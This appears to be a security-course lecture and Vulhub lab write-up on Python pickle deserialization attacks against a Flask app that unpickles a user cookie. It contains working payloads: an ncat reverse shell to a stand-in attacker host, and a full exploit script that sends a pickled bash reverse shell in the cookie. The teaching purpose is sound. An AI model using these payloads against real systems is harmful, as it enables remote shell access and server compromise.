Python Deserialization
Lecture
pickle
Use pickle.dumps
for serialization and pickle.loads
for deserialization:
import pickle
class User:
def __init__(self, name, age):
self.name = name
self.age = age
def summary(self):
return f"{self.name} is {self.age} year(s) old."
keanu_reeves = User('Keanu Reeves', 490)
serialized = pickle.dumps(keanu_reeves)
print(f"{serialized = }")
keanu_2077 = pickle.loads(serialized)
print(keanu_2077.summary())
__reduce__()
__reduce__()
Motivation: Whenever you try to pickle an object, there will be some properties that may not serialize well. For instance, an open file handle. In this case, pickle
won't know how to handle the object and will throw an error.
Solution: To overcome this barrier, pickle implemented the __reduce()__
method. __reduce__()
is a special method that is referenced when we are serializing data. The reduce function essentially tells the pickle library how to serialize the object. Then, when we are unserializing the data, this information is used to rebuild the object.
The following code will generate a payload that executes id
:
import pickle
class GNAT:
def __reduce__(self):
import os
return (os.system, ('id',))
serialized = pickle.dumps(GNAT())
print(serialized)
Attack Scenario
Suppose there is a Windows server running a web app that serializes user cookie using pickle. The following code will generate a cookie that executes the reverse shell payload:
import pickle
class GNAT:
def __reduce__(self):
import os
return (
os.system, (
'ncat -e powershell.exe hacker.man 1337',
)
)
serialized = pickle.dumps(GNAT())
encoded = base64.b64encode(serialized)
print(encoded)
Lab: Vulhub Python unpickle Deserialization
Setup
Code Review
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run()
The cookie user
is deserialized by pickle.loads()
. Since the cookie is a type of user-controlled data, this Flask web app is vulnerable to Python unpickle deserialization attack.
Solution
We are going to create a malicious object containing the reverse shell payload and send it to the server. On the server side, the Flask web app will deserializes the malicious payload and execute it:
class Exploit(object):
def __reduce__(self):
reverse_shell_payload = f"""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{docker_ip}",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
"""
return (os.system, (reverse_shell_payload,))
Exploit
Note that Docker IP (our netcat listener's IP) is 172.17.0.1
by default and the Flask IP is either 172.19.0.1
or 127.0.0.1
, both work.
#!/usr/bin/env python3
import requests
import pickle
import os
import base64
# CHANGE ME
docker_ip = '172.17.0.1'
flask_ip = '172.19.0.1'
class Exploit(object):
def __reduce__(self):
reverse_shell_payload = f"""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{docker_ip}",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
"""
return (os.system, (reverse_shell_payload,))
exploit = Exploit()
serialized = pickle.dumps(exploit)
response = requests.get(
f'http://{flask_ip}:8000',
cookies=dict(user=base64.b64encode(serialized).decode()),
)
print(response.content)
Takeaway
Last updated
Was this helpful?